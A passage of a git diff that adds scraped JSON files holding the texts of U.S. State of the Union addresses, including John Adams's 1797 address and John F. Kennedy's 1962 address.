persons with equal powers were appointed to treat\nwith them. Although at the date of the last official intelligence the\nnegotiation had not terminated, yet it is to be hoped that our efforts to\neffect an accommodation will at length meet with a success proportioned to\nthe sincerity with which they have been so often repeated.While our best endeavors for the preservation of harmony with all nations\nwill continue to be used, the experience of the world and our own\nexperience admonish us of the insecurity of trusting too confidently to\ntheir success. We can not, without committing a dangerous imprudence,\nabandon those measures of self protection which are adapted to our\nsituation and to which, notwithstanding our pacific policy, the violence\nand injustice of others may again compel us to resort. While our vast\nextent of sea coast, the commercial and agriculture habits of our people,\nthe great capital they will continue to trust on the ocean, suggest the\nsystem of defense which will be most beneficial to ourselves, our distance\nfrom Europe and our resources for maritime strength will enable us to\nemploy it with effect. Seasonable and systematic arrangements, so far as\nour resources will justify, for a navy adapted to defensive war, and which\nmay in case of necessity be quickly brought into use, seem to be as much\nrecommended by a wise and true economy as by a just regard for our future\ntranquillity, for the safety of our shores, and for the protection of our\nproperty committed to the ocean.The present Navy of the United States, called suddenly into existence by a\ngreat national exigency, has raised us in our own esteem, and by the\nprotection afforded to our commerce has effected to the extent of our\nexpectations the objects for which it was created.In connection with a navy ought to be contemplated the fortification of\nsome of our principal sea ports and harbors. A variety of considerations,\nwhich will readily suggest themselves, urge an attention to this measure of\nprecaution. To give security to our principal ports considerable sums have\nalready been expended, but the works remain incomplete. It is for Congress\nto determine whether additional appropriations shall be made in order to\nrender competent to the intended purposes the fortifications which have\nbeen commenced.The manufacture of arms within the United States still invites the\nattention of the National Legislature. At a considerable expense to the\npublic this manufacture has been brought to such a state of maturity as,\nwith continued encouragement, will supersede the necessity of future\nimportations from foreign countries.Gentlemen of the House of Representatives:I shall direct the estimates of the appropriations necessary for the\nensuing year, together with an account of the public revenue and\nexpenditure to a late period, to be laid before you. I observe with much\nsatisfaction that the product of the revenue during the present year has\nbeen more considerable than during any former equal period. This result\naffords conclusive evidence of the great resources of this country and of\nthe wisdom and efficiency of the measures which have been adopted by\nCongress for the protection of commerce and preservation of public credit.Gentlemen of the Senate and Gentlemen of the House of Representatives:As one of the grand community of nations, our attention is irresistibly\ndrawn to the important scenes which surround us. If they have exhibited an\nuncommon portion of calamity, it is the province of humanity to deplore and\nof wisdom to avoid the causes which may have produced it. If, turning our\neyes homeward, we find reason to rejoice at the prospect which presents\nitself; if we perceive the interior of our country prosperous, free, and\nhappy; if all enjoy in safety, under the protection of laws emanating only\nfrom the general will, the fruits of their own labor, we ought to fortify\nand cling to those institutions which have been the source of such real\nfelicity and resist with unabating perseverance the progress of those\ndangerous innovations which may diminish their influence.To your patriotism, gentlemen, has been confided the honorable duty of\nguarding the public interests; and while the past is to your country a sure\npledge that it will be faithfully discharged, permit me to assure you that\nyour labors to promote the general happiness will receive from me the most\nzealous cooperation.", 
+    "name": "John Adams"
+}
\ No newline at end of file
diff --git a/pyscrapper/stateofunion/ScrapedData/John AdamsNovember 22, 1797.json b/pyscrapper/stateofunion/ScrapedData/John AdamsNovember 22, 1797.json
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+++ b/pyscrapper/stateofunion/ScrapedData/John AdamsNovember 22, 1797.json	
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+{
+    "date": "November 22, 1797", 
+    "speech": "Gentlemen of the Senate and Gentlemen of the House of Representatives:I was for some time apprehensive that it would be necessary, on account of\nthe contagious sickness which afflicted the city of Philadelphia, to\nconvene the National Legislature at some other place. This measure it was\ndesirable to avoid, because it would occasion much public inconvenience and\na considerable public expense and add to the calamities of the inhabitants\nof this city, whose sufferings must have excited the sympathy of all their\nfellow citizens. Therefore, after taking measures to ascertain the state\nand decline of the sickness, I postponed my determination, having hopes,\nnow happily realized, that, without hazard to the lives or health of the\nmembers, Congress might assemble at this place, where it was next by law to\nmeet. I submit, however, to your consideration whether a power to postpone\nthe meeting of Congress, without passing the time fixed by the Constitution\nupon such occasions, would not be a useful amendment to the law of 1794.Although I can not yet congratulate you on the reestablishment of peace in\nEurope and the restoration of security to the persons and properties of our\ncitizens from injustice and violence at sea, we have, nevertheless,\nabundant cause of gratitude to the source of benevolence and influence for\ninterior tranquillity and personal security, for propitious seasons,\nprosperous agriculture, productive fisheries, and general improvements,\nand, above all, for a rational spirit of civil and religious liberty and a\ncalm but steady determination to support our sovereignty, as well as our\nmoral and our religious principles, against all open and secret attacks.Our envoys extraordinary to the French Republic embarked--one in July, the\nother in August--to join their colleague in Holland. I have received\nintelligence of the arrival of both of them in Holland, from whence they\nall proceeded on their journeys to Paris within a few days of the 19th of\nSeptember. Whatever may be the result of this mission, I trust that nothing\nwill have been omitted on my part to conduct the negotiation to a\nsuccessful conclusion, on such equitable terms as may be compatible with\nthe safety, honor and interest of the United States. Nothing, in the mean\ntime, will contribute so much to the preservation of peace and the\nattainment of justice as manifestation of that energy and unanimity of\nwhich on many former occasions the people of the United States have given\nsuch memorable proofs, and the exertion of those resources for national\ndefense which a beneficent Providence has kindly placed within their\npower.It may be confidently asserted that nothing has occurred since the\nadjournment of Congress which renders inexpedient those precautionary\nmeasures recommended by me to the consideration of the two Houses at the\nopening of your late extraordinary session. If that system was then\nprudent, it is more so now, as increasing depredations strengthen the\nreasons for its adoption.Indeed, whatever may be the issue of the negotiation with France, and\nwhether the war in Europe is or is not to continue, I hold it most certain\nthat permanent tranquillity and order will not soon be obtained. The state\nof society has so long been disturbed, the sense of moral and religious\nobligations so much weakened, public faith and national honor have been so\nimpaired, respect to treaties has been so diminished, and the law of\nnations has lost so much of its force, while pride, ambition, avarice and\nviolence have been so long unrestrained, there remains no reasonable ground\non which to raise an expectation that a commerce without protection or\ndefense will not be plundered.The commerce of the United States is essential, if not to their existence,\nat least to their comfort, their growth, prosperity, and happiness. The\ngenius, character, and habits of the people are highly commercial. Their\ncities have been formed and exist upon commerce. Our agriculture,\nfisheries, arts, and manufactures are connected with and depend upon it. In\nshort, commerce has made this country what it is, and it can not be\ndestroyed or neglected without involving the people in poverty and\ndistress. Great numbers are directly and solely supported by navigation.\nThe faith of society is pledged for the preservation of the rights of\ncommercial and sea faring no less than of the other citizens. Under this\nview of our affairs, I should hold myself guilty of a neglect of duty if I\nforbore to recommend that we should make every exertion to protect our\ncommerce and to place our country in a suitable posture of defense as the\nonly sure means of preserving both.I have entertained an expectation that it would have been in my power at\nthe opening of this session to have communicated to you the agreeable\ninformation of the due execution of our treaty with His Catholic Majesty\nrespecting the withdrawing of his troops from our territory and the\ndemarcation of the line of limits, but by the latest authentic intelligence\nSpanish garrisons were still continued within our country, and the running\nof the boundary line had not been commenced. These circumstances are the\nmore to be regretted as they can not fail to affect the Indians in a manner\ninjurious to the United States. Still, however, indulging the hope that the\nanswers which have been given will remove the objections offered by the\nSpanish officers to the immediate execution of the treaty, I have judged it\nproper that we should continue in readiness to receive the posts and to run\nthe line of limits. Further information on this subject will be\ncommunicated in the course of the session.In connection with this unpleasant state of things on our western frontier\nit is proper for me to mention the attempts of foreign agents to alienate\nthe affections of the Indian nations and to excite them to actual\nhostilities against the United States. Great activity has been exerted by\nthose persons who have insinuated themselves among the Indian tribes\nresiding within the territory of the United States to influence them to\ntransfer their affections and force to a foreign nation, to form them into\na confederacy, and prepare them for war against the United States. Although\nmeasures have been taken to counteract these infractions of our rights, to\nprevent Indian hostilities, and to preserve entire their attachment to the\nUnited States, it is my duty to observe that to give a better effect to\nthese measures and to obviate the consequences of a repetition of such\npractices a law providing adequate punishment for such offenses may be\nnecessary.The commissioners appointed under the 5th article of the treaty of amity,\ncommerce, and navigation between the United States and Great Britain to\nascertain the river which was truly intended under the name of the river\nSt. Croix mentioned in the treaty of peace, met at Passamaquoddy Bay in\n1796 October, and viewed the mouths of the rivers in question and the\nadjacent shores and islands, and, being of opinion that actual surveys of\nboth rivers to their sources were necessary, gave to the agents of the two\nnations instructions for that purpose, and adjourned to meet at Boston in\nAugust. They met, but the surveys requiring more time than had been\nsupposed, and not being then completed, the commissioners again adjourned,\nto meet at Providence, in the State of Rhode Island, in June next, when we\nmay expect a final examination and decision.The commissioners appointed in pursuance of the 6th article of the treaty\nmet at Philadelphia in May last to examine the claims of British subjects\nfor debts contracted before the peace and still remaining due to them from\ncitizens or inhabitants of the United States. Various causes have hitherto\nprevented any determinations, but the business is now resumed, and\ndoubtless will be prosecuted without interruption.Several decisions on the claims of citizens of the United States for losses\nand damages sustained by reason of irregular and illegal captures or\ncondemnations of their vessels or other property have been made by the\ncommissioners in London conformably to the 7th article of the treaty. The\nsums awarded by the commissioners have been paid by the British Government.\nA considerable number of other claims, where costs and damages, and not\ncaptured property, were the only objects in question, have been decided by\narbitration, and the sums awarded to the citizens of the United States have\nalso been paid.The commissioners appointed agreeably to the 21st article of our treaty\nwith Spain met at Philadelphia in the summer past to examine and decide on\nthe claims of our citizens for losses they have sustained in consequence of\ntheir vessels and cargoes having been taken by the subjects of His Catholic\nMajesty during the late war between Spain and France. Their sittings have\nbeen interrupted, but are now resumed.The United States being obligated to make compensation for the losses and\ndamages sustained by British subjects, upon the award of the commissioners\nacting under the 6th article of the treaty with Great Britain, and for the\nlosses and damages sustained by British subjects by reason of the capture\nof their vessels and merchandise taken within the limits and jurisdiction\nof the United States and brought into their ports, or taken by vessels\noriginally armed in ports of the United States, upon the awards of the\ncommissioners acting under the 7th article of the same treaty, it is\nnecessary that provision be made for fulfilling these obligations.The numerous captures of American vessels by the cruisers of the French\nRepublic and of some by those of Spain have occasioned considerable\nexpenses in making and supporting the claims of our citizens before their\ntribunals. The sums required for this purpose have in divers instances been\ndisbursed by the consuls of the United States. By means of the same\ncaptures great numbers of our sea men have been thrown ashore in foreign\ncountries, destitute of all means of subsistence, and the sick in\nparticular have been exposed to grievous sufferings. The consuls have in\nthese cases also advanced moneys for their relief. For these advances they\nreasonably expect reimbursements from the United States.The consular act relative to sea men requires revision and amendment. The\nprovisions for their support in foreign countries and for their return are\nfound to be inadequate and ineffectual. Another provision seems necessary\nto be added to the consular act. Some foreign vessels have been discovered\nsailing under the flag of the United States and with forged papers. It\nseldom happens that the consuls can detect this deception, because they\nhave no authority to demand an inspection of the registers and sea\nletters.Gentlemen of the House of Representatives:It is my duty to recommend to your serious consideration those objects\nwhich by the Constitution are placed particularly within your sphere--the\nnational debts and taxes.Since the decay of the feudal system, by which the public defense was\nprovided for chiefly at the expense of individuals, the system of loans has\nbeen introduced, and as no nation can raise within the year by taxes\nsufficient sums for its defense and military operations in time of war the\nsums loaned and debts contracted have necessarily become the subjects of\nwhat have been called funding systems. The consequences arising from the\ncontinual accumulation of public debts in other countries ought to admonish\nus to be careful to prevent their growth in our own. The national defense\nmust be provided for as well as the support of Government; but both should\nbe accomplished as much as possible by immediate taxes, and as little as\npossible by loans.The estimates for the service of the ensuing year will by my direction be\nlaid before you.Gentlemen of the Senate and Gentlemen of the House of Representatives:We are met together at a most interesting period. The situations of the\nprincipal powers of Europe are singular and portentous. Connected with some\nby treaties and with all by commerce, no important event there can be\nindifferent to us. Such circumstances call with peculiar importunity not\nless for a disposition to unite in all those measures on which the honor,\nsafety, and prosperity of our country depend than for all the exertions of\nwisdom and firmness.In all such measures you may rely on my zealous and hearty concurrence.", 
+    "name": "John Adams"
+}
\ No newline at end of file
diff --git a/pyscrapper/stateofunion/ScrapedData/John F. KennedyJanuary 11, 1962.json b/pyscrapper/stateofunion/ScrapedData/John F. KennedyJanuary 11, 1962.json
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+++ b/pyscrapper/stateofunion/ScrapedData/John F. KennedyJanuary 11, 1962.json	
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+{
+    "date": "January 11, 1962", 
+    "speech": "Mr. Vice President, my old colleague from Massachusetts and your new\nSpeaker, John McCormack, Members of the 87th Congress, ladies and\ngentlemen:This week we begin anew our joint and separate efforts to build the\nAmerican future. But, sadly, we build without a man who linked a long past\nwith the present and looked strongly to the future. \"Mister Sam\" Rayburn is\ngone. Neither this House nor the Nation is the same without him.Members of the Congress, the Constitution makes us not rivals for power but\npartners for progress. We are all trustees for the American people,\ncustodians of the American heritage. It is my task to report the State of\nthe Union--to improve it is the task of us all.In the past year, I have traveled not only across our own land but to\nother lands--to the North and the South, and across the seas. And I have\nfound--as I am sure you have, in your travels--that people everywhere,\nin spite of occasional disappointments, look to us--not to our wealth or\npower, but to the splendor of our ideals. For our Nation is commissioned\nby history to be either an observer of freedom's failure or the cause of\nits success. Our overriding obligation in the months ahead is to fulfill\nthe world's hopes by fulfilling our own faith.I. STRENGTHENING THE ECONOMYThat task must begin at home. For if we cannot fulfill our own ideals here,\nwe cannot expect others to accept them. And when the youngest child alive\ntoday has grown to the cares of manhood, our position in the world will\nbe determined first of all by what provisions we make today--for his\neducation, his health, and his opportunities for a good home and a good\njob and a good life.At home, we began the year in the valley of recession--we completed it on\nthe high road of recovery and growth. With the help of new Congressionally\napproved or Administratively increased stimulants to our economy, the\nnumber of major surplus labor areas has declined from 101 to 60;\nnon-agricultural employment has increased by more than a million jobs; and\nthe average factory work-week has risen to well over 40 hours. At year's\nend the economy which Mr. Khrushchev once called a \"stumbling horse\" was\nracing to new records in consumer spending, labor income, and industrial\nproduction.We are gratified--but we are not satisfied. Too many unemployed are still\nlooking for the blessings of prosperity. As those who leave our schools and\nfarms demand new jobs, automation takes old jobs away. To expand our growth\nand job opportunities, I urge on the Congress three measures:(1) First, the Manpower Training and Development Act, to stop the waste of\nable-bodied men and women who want to work, but whose only skill has been\nreplaced by a machine, or moved with a mill, or shut down with a mine;(2) Second, the Youth Employment Opportunities Act, to help train and place\nnot only the one million young Americans who are both out of school and out\nof work, but the twenty-six million young Americans entering the labor\nmarket in this decade; and(3) Third, the 8 percent tax credit for investment in machinery and\nequipment, which, combined with planned revisions of depreciation\nallowances, will spur our modernization, our growth, and our ability to\ncompete abroad.Moreover--pleasant as it may be to bask in the warmth of recovery--let us\nnot forget that we have suffered three recessions in the last 7 years. The\ntime to repair the roof is when the sun is shining--by filling three basic\ngaps in our anti-recession protection. We need:(1) First, Presidential stand-by authority, subject to Congressional veto,\nto adjust personal income tax rates downward within a specified range and\ntime, to slow down an economic decline before it has dragged us all down;(2) Second, Presidential stand-by authority, upon a given rise in the rate\nof unemployment, to accelerate Federal and federally-aided capital\nimprovement programs; and(3) Third, a permanent strengthening of our unemployment compensation\nsystem--to maintain for our fellow citizens searching for a job who cannot\nfind it, their purchasing power and their living standards without constant\nresort--as we have seen in recent years by the Congress and the\nAdministrations--to temporary supplements.If we enact this six-part program, we can show the whole world that a free\neconomy need not be an unstable economy--that a free system need not leave\nmen unemployed--and that a free society is not only the most productive but\nthe most stable form of organization yet fashioned by man.II. FIGHTING INFLATIONBut recession is only one enemy of a free economy--inflation is another.\nLast year, 1961, despite rising production and demand, consumer prices held\nalmost steady--and wholesale prices declined. This is the best record of\noverall price stability of any comparable period of recovery since the end\nof World War II.Inflation too often follows in the shadow of growth--while price stability\nis made easy by stagnation or controls. But we mean to maintain both\nstability and growth in a climate of freedom.Our first line of defense against inflation is the good sense and public\nspirit of business and labor--keeping their total increases in wages and\nprofits in step with productivity. There is no single statistical test to\nguide each company and each union. But I strongly urge them--for their\ncountry's interest, and for their own--to apply the test of the public\ninterest to these transactions.Within this same framework of growth and wage-price stability:--This administration has helped keep our economy competitive by widening\nthe access of small business to credit and Government contracts, and by\nstepping up the drive against monopoly, price-fixing, and racketeering;--We will submit a Federal Pay Reform bill aimed at giving our classified,\npostal, and other employees new pay scales more comparable to those of\nprivate industry;--We are holding the fiscal 1962 budget deficit far below the level\nincurred after the last recession in 1958; and, finally,--I am submitting for fiscal 1963 a balanced Federal Budget.This is a joint responsibility, requiring Congressional cooperation on\nappropriations, and on three sources of income in particular:(1) First, an increase in postal rates, to end the postal deficit;(2) Second, passage of the tax reforms previously urged, to remove\nunwarranted tax preferences, and to apply to dividends and to interest the\nsame withholding requirements we have long applied to wages; and(3) Third, extension of the present excise and corporation tax rates,\nexcept for those changes--which will be recommended in a message--affecting\ntransportation.III. GETTING AMERICA MOVINGBut a stronger nation and economy require more than a balanced Budget. They\nrequire progress in those programs that spur our growth and fortify our\nstrength.CITIESA strong America depends on its cities--America's glory, and sometimes\nAmerica's shame. To substitute sunlight for congestion and progress for\ndecay, we have stepped up existing urban renewal and housing programs, and\nlaunched new ones--redoubled the attack on water pollution--speeded aid to\nairports, hospitals, highways, and our declining mass transit systems--and\nsecured new weapons to combat organized crime, racketeering, and youth\ndelinquency, assisted by the coordinated and hard-hitting efforts of our\ninvestigative services: the FBI, the Internal Revenue, the Bureau of\nNarcotics, and many others. We shall need further anti-crime, mass transit,\nand transportation legislation--and new tools to fight air pollution. And\nwith all this effort under way, both equity and common sense require that\nour nation's urban areas--containing three-fourths of our population--sit\nas equals at the Cabinet table. I urge a new Department of Urban Affairs\nand Housing.AGRICULTURE AND RESOURCESA strong America also depends on its farms and natural resources. American\nfarmers took heart in 1961--from a billion dollar rise in farm income--and\nfrom a hopeful start on reducing the farm surpluses. But we are still\noperating under a patchwork accumulation of old laws, which cost us $1\nbillion a year in CCC carrying charges alone, yet fail to halt rural\npoverty or boost farm earnings.Our task is to master and turn to fully fruitful ends the magnificent\nproductivity of our farms and farmers. The revolution on our own\ncountryside stands in the sharpest contrast to the repeated farm failures\nof the Communist nations and is a source of pride to us all. Since 1950 our\nagricultural output per man-hour has actually doubled! Without new,\nrealistic measures, it will someday swamp our farmers and our taxpayers in\na national scandal or a farm depression.I will, therefore, submit to the Congress a new comprehensive farm\nprogram--tailored to fit the use of our land and the supplies of each crop\nto the long-range needs of the sixties--and designed to prevent chaos in\nthe sixties with a program of common sense.We also need for the sixties--if we are to bequeath our full national\nestate to our heirs--a new long-range conservation and recreation\nprogram--expansion of our superb national parks and forests--preservation\nof our authentic wilderness areas--new starts on water and power projects\nas our population steadily increases--and expanded REA generation and\ntransmission loans.CIVIL RIGHTSBut America stands for progress in human rights as well as economic\naffairs, and a strong America requires the assurance of full and equal\nrights to all its citizens, of any race or of any color. This\nAdministration has shown as never before how much could be done through the\nfull use of Executive powers--through the enforcement of laws already\npassed by the Congress--through persuasion, negotiation, and litigation, to\nsecure the constitutional rights of all: the right to vote, the right to\ntravel without hindrance across State lines, and the right to free public\neducation.I issued last March a comprehensive order to guarantee the right to equal\nemployment opportunity in all Federal agencies and contractors. The Vice\nPresident's Committee thus created has done much, including the voluntary\n\"Plans for Progress\" which, in all sections of the country, are achieving a\nquiet but striking success in opening up to all races new professional,\nsupervisory, and other job opportunities.But there is much more to be done--by the Executive, by the courts, and by\nthe Congress. Among the bills now pending before you, on which the\nexecutive departments will comment in detail, are appropriate methods of\nstrengthening these basic rights which have our full support. The right to\nvote, for example, should no longer be denied through such arbitrary\ndevices on a local level, sometimes abused, such as literacy tests and poll\ntaxes. As we approach the 100th anniversary, next January, of the\nEmancipation Proclamation, let the acts of every branch of the\nGovernment--and every citizen--portray that \"righteousness does exalt a\nnation.\"HEALTH AND WELFAREFinally, a strong America cannot neglect the aspirations of its\ncitizens--the welfare of the needy, the health care of the elderly, the\neducation of the young. For we are not developing the Nation's wealth for\nits own sake. Wealth is the means--and people are the ends. All our\nmaterial riches will avail us little if we do not use them to expand the\nopportunities of our people.Last year, we improved the diet of needy people--provided more hot lunches\nand fresh milk to school children--built more college dormitories--and, for\nthe elderly, expanded private housing, nursing homes, health services, and\nsocial security. But we have just begun.To help those least fortunate of all, I am recommending a new public\nwelfare program, stressing services instead of support, rehabilitation\ninstead of relief, and training for useful work instead of prolonged\ndependency.To relieve the critical shortage of doctors and dentists--and this is a\nmatter which should concern us all--and expand research, I urge action to\naid medical and dental colleges and scholarships and to establish new\nNational Institutes of Health.To take advantage of modern vaccination achievements, I am proposing a mass\nimmunization program, aimed at the virtual elimination of such ancient\nenemies of our children as polio, diphtheria, whooping cough, and tetanus.To protect our consumers from the careless and the unscrupulous, I shall\nrecommend improvements in the Food and Drug laws--strengthening inspection\nand standards, halting unsafe and worthless products, preventing misleading\nlabels, and cracking down on the illicit sale of habit-forming drugs.But in matters of health, no piece of unfinished business is more important\nor more urgent than the enactment under the social security system of\nhealth insurance for the aged.For our older citizens have longer and more frequent illnesses, higher\nhospital and medical bills and too little income to pay them. Private\nhealth insurance helps very few--for its cost is high and its coverage\nlimited. Public welfare cannot help those too proud to seek relief but\nhard-pressed to pay their own bills. Nor can their children or\ngrandchildren always sacrifice their own health budgets to meet this\nconstant drain.Social security has long helped to meet the hardships of retirement, death,\nand disability. I now urge that its coverage be extended without further\ndelay to provide health insurance for the elderly.EDUCATIONEqually important to our strength is the quality of our education. Eight\nmillion adult Americans are classified as functionally illiterate. This is\na disturbing figure--reflected in Selective Service rejection\nrates--reflected in welfare rolls and crime rates. And I shall recommend\nplans for a massive attack to end this adult illiteracy.I shall also recommend bills to improve educational quality, to stimulate\nthe arts, and, at the college level, to provide Federal loans for the\nconstruction of academic facilities and Federally financed scholarships.If this Nation is to grow in wisdom and strength, then every able high\nschool graduate should have the opportunity to develop his talents. Yet\nnearly half lack either the funds or the facilities to attend college.\nEnrollments are going to double in our colleges in the short space of 10\nyears. The annual cost per student is skyrocketing to astronomical\nlevels--now averaging $1,650 a year, although almost half of our families\nearn less than $5,000. They cannot afford such costs--but this Nation\ncannot afford to maintain its military power and neglect its brainpower.But excellence in education must begin at the elementary level. I sent to\nthe Congress last year a proposal for Federal aid to public school\nconstruction and teachers' salaries. I believe that bill, which passed the\nSenate and received House Committee approval, offered the minimum amount\nrequired by our needs and--in terms of across-the-board aid--the maximum\nscope permitted by our Constitution. I therefore see no reason to weaken or\nwithdraw that bill: and I urge its passage at this session.\"Civilization,\" said H. G. Wells, \"is a race between education and\ncatastrophe.\" It is up to you in this Congress to determine the winner of\nthat race.These are not unrelated measures addressed to specific gaps or grievances\nin our national life. They are the pattern of our intentions and the\nfoundation of our hopes. \"I believe in democracy,\" said Woodrow Wilson,\n\"because it releases the energy of every human being.\" The dynamic of\ndemocracy is the power and the purpose of the individual, and the policy of\nthis administration is to give to the individual the opportunity to realize\nhis own highest possibilities.Our program is to open to all the opportunity for steady and productive\nemployment, to remove from all the handicap of arbitrary or irrational\nexclusion, to offer to all the facilities for education and health and\nwelfare, to make society the servant of the individual and the individual\nthe source of progress, and thus to realize for all the full promise of\nAmerican life.IV. OUR GOALS ABROADAll of these efforts at home give meaning to our efforts abroad. Since the\nclose of the Second World War, a global civil war has divided and tormented\nmankind. But it is not our military might, or our higher standard of\nliving, that has most distinguished us from our adversaries. It is our\nbelief that the state is the servant of the citizen and not his master.This basic clash of ideas and wills is but one of the forces reshaping our\nglobe--swept as it is by the tides of hope and fear, by crises in the\nheadlines today that become mere footnotes tomorrow. Both the successes and\nthe setbacks of the past year remain on our agenda of unfinished business.\nFor every apparent blessing contains the seeds of danger--every area of\ntrouble gives out a ray of hope--and the one unchangeable certainty is that\nnothing is certain or unchangeable.Yet our basic goal remains the same: a peaceful world community of free and\nindependent states--free to choose their own future and their own system,\nso long as it does not threaten the freedom of others.Some may choose forms and ways that we would not choose for ourselves--but\nit is not for us that they are choosing. We can welcome diversity--the\nCommunists cannot. For we offer a world of choice--they offer the world of\ncoercion. And the way of the past shows clearly that freedom, not coercion,\nis the wave of the future. At times our goal has been obscured by crisis or\nendangered by conflict--but it draws sustenance from five basic sources of\nstrength:--the moral and physical strength of the United States;--the united strength of the Atlantic Community;--the regional strength of our Hemispheric relations;--the creative strength of our efforts in the new and developing nations;\nand--the peace-keeping strength of the United Nations.V. OUR MILITARY STRENGTHOur moral and physical strength begins at home as already discussed. But it\nincludes our military strength as well. So long as fanaticism and fear\nbrood over the affairs of men, we must arm to deter others from\naggression.In the past 12 months our military posture has steadily improved. We\nincreased the previous defense budget by 15 percent--not in the expectation\nof war but for the preservation of peace. We more than doubled our\nacquisition rate of Polaris submarines--we doubled the production capacity\nfor Minuteman missiles--and increased by 50 percent the number of manned\nbombers standing ready on a 15 minute alert. This year the combined force\nlevels planned under our new Defense budget--including nearly three hundred\nadditional Polaris and Minuteman missiles--have been precisely calculated\nto insure the continuing strength of our nuclear deterrent.But our strength may be tested at many levels. We intend to have at all\ntimes the capacity to resist non-nuclear or limited attacks--as a\ncomplement to our nuclear capacity, not as a substitute. We have rejected\nany all-or-nothing posture which would leave no choice but inglorious\nretreat or unlimited retaliation.Thus we have doubled the number of ready combat divisions in the Army's\nstrategic reserve--increased our troops in Europe--built up the\nMarines--added new sealift and airlift capacity--modernized our weapons and\nammunition--expanded our anti-guerrilla forces--and increased the active\nfleet by more than 70 vessels and our tactical air forces by nearly a dozen\nwings.Because we needed to reach this higher long-term level of readiness more\nquickly, 155,000 members of the Reserve and National Guard were activated\nunder the Act of this Congress. Some disruptions and distress were\ninevitable. But the overwhelming majority bear their burdens--and their\nNation's burdens--with admirable and traditional devotion.In the coming year, our reserve programs will be revised--two Army\nDivisions will, I hope, replace those Guard Divisions on duty--and\nsubstantial other increases will boost our Air Force fighter units, the\nprocurement of equipment, and our continental defense and warning efforts.\nThe Nation's first serious civil defense shelter program is under way,\nidentifying, marking, and stocking 50 million spaces; and I urge your\napproval of Federal incentives for the construction of public fall-out\nshelters in schools and hospitals and similar centers.VI. THE UNITED NATIONSBut arms alone are not enough to keep the peace--it must be kept by men.\nOur instrument and our hope is the United Nations--and I see little merit\nin the impatience of those who would abandon this imperfect world\ninstrument because they dislike our imperfect world. For the troubles of\na world organization merely reflect the troubles of the world itself. And\nif the organization is weakened, these troubles can only increase. We may\nnot always agree with every detailed action taken by every officer of the\nUnited Nations, or with every voting majority. But as an institution, it\nshould have in the future, as it has had in the past since its inception,\nno stronger or more faithful member than the United States of America.In 1961 the peace-keeping strength of the United Nations was reinforced.\nAnd those who preferred or predicted its demise, envisioning a troika in\nthe seat of Hammarskjold--or Red China inside the Assembly--have seen\ninstead a new vigor, under a new Secretary General and a fully independent\nSecretariat. In making plans for a new forum and principles on disarmament\n--for peace-keeping in outer space--for a decade of development effort--the\nUN fulfilled its Charter's lofty aim.Eighteen months ago the tangled and turbulent Congo presented the UN with\nits gravest challenge. The prospect was one of chaos--or certain big-power\nconfrontation, with all of its hazards and all of its risks, to us and to\nothers. Today the hopes have improved for peaceful conciliation within a\nunited Congo. This is the objective of our policy in this important area.No policeman is universally popular--particularly when he uses his stick to\nrestore law and order on his beat. Those members who are willing to\ncontribute their votes and their views--but very little else--have created\na serious deficit by refusing to pay their share of special UN assessments.\nYet they do pay their annual assessments to retain their votes--and a new\nUN Bond issue, financing special operations for the next 18 months, is to\nbe repaid with interest from these regular assessments. This is clearly in\nour interest. It will not only keep the UN solvent, but require all voting\nmembers to pay their fair share of its activities. Our share of special\noperations has long been much higher than our share of the annual\nassessment--and the bond issue will in effect reduce our disproportionate\nobligation, and for these reasons, I am urging Congress to approve our\nparticipation.With the approval of this Congress, we have undertaken in the past year a\ngreat new effort in outer space. Our aim is not simply to be first on the\nmoon, any more than Charles Lindbergh's real aim was to be the first to\nParis. His aim was to develop the techniques of our own country and other\ncountries in the field of air and the atmosphere, and our objective in\nmaking this effort, which we hope will place one of our citizens on the\nmoon, is to develop in a new frontier of science, commerce and cooperation,\nthe position of the United States and the Free World.This Nation belongs among the first to explore it, and among the first--if\nnot the first--we shall be. We are offering our know-how and our\ncooperation to the United Nations. Our satellites will soon be providing\nother nations with improved weather observations. And I shall soon send to\nthe Congress a measure to govern the financing and operation of an\nInternational Communications Satellite system, in a manner consistent with\nthe public interest and our foreign policy.But peace in space will help us naught once peace on earth is gone. World\norder will be secured only when the whole world has laid down these weapons\nwhich seem to offer us present security but threaten the future survival of\nthe human race. That armistice day seems very far away. The vast resources\nof this planet are being devoted more and more to the means of destroying,\ninstead of enriching, human life.But the world was not meant to be a prison in which man awaits his\nexecution. Nor has mankind survived the tests and trials of thousands of\nyears to surrender everything--including its existence--now. This Nation\nhas the will and the faith to make a supreme effort to break the log jam\non disarmament and nuclear tests--and we will persist until we prevail,\nuntil the rule of law has replaced the ever dangerous use of force.VII. LATIN AMERICAI turn now to a prospect of great promise: our Hemispheric relations. The\nAlliance for Progress is being rapidly transformed from proposal to\nprogram. Last month in Latin America I saw for myself the quickening of\nhope, the revival of confidence, the new trust in our country--among\nworkers and farmers as well as diplomats. We have pledged our help in\nspeeding their economic, educational, and social progress. The Latin\nAmerican Republics have in turn pledged a new and strenuous effort of\nself-help and self-reform.To support this historic undertaking, I am proposing--under the authority\ncontained in the bills of the last session of the Congress--a special\nlong-term Alliance for Progress fund of $3 billion. Combined with our Food\nfor Peace, Export-Import Bank, and other resources, this will provide more\nthan $1 billion a year in new support for the Alliance. In addition, we\nhave increased twelve-fold our Spanish and Portuguese language broadcasting\nin Latin America, and improved Hemispheric trade and defense. And while\nthe blight of communism has been increasingly exposed and isolated in the\nAmericas, liberty has scored a gain. The people of the Dominican Republic,\nwith our firm encouragement and help, and those of our sister Republics of\nthis Hemisphere, are safely passing through the treacherous course from\ndictatorship through disorder towards democracy.VIII. THE NEW AND DEVELOPING NATIONSOur efforts to help other new or developing nations, and to strengthen\ntheir stand for freedom, have also made progress. A newly unified Agency\nfor International Development is reorienting our foreign assistance to\nemphasize long-term development loans instead of grants, more economic aid\ninstead of military, individual plans to meet the individual needs of the\nnations, and new standards on what they must do to marshal their own\nresources.A newly conceived Peace Corps is winning friends and helping people in\nfourteen countries--supplying trained and dedicated young men and women, to\ngive these new nations a hand in building a society, and a glimpse of the\nbest that is in our country. If there is a problem here, it is that we\ncannot supply the spontaneous and mounting demand.A newly-expanded Food for Peace Program is feeding the hungry of many\nlands with the abundance of our productive farms--providing lunches for\nchildren in school, wages for economic development, relief for the victims\nof flood and famine, and a better diet for millions whose daily bread is\ntheir chief concern.These programs help people; and, by helping people, they help freedom. The\nviews of their governments may sometimes be very different from ours--but\nevents in Africa, the Middle East, and Eastern Europe teach us never to\nwrite off any nation as lost to the Communists. That is the lesson of our\ntime. We support the independence of those newer or weaker states whose\nhistory, geography, economy or lack of power impels them to remain outside\n\"entangling alliances\"--as we did for more than a century. For the\nindependence of nations is a 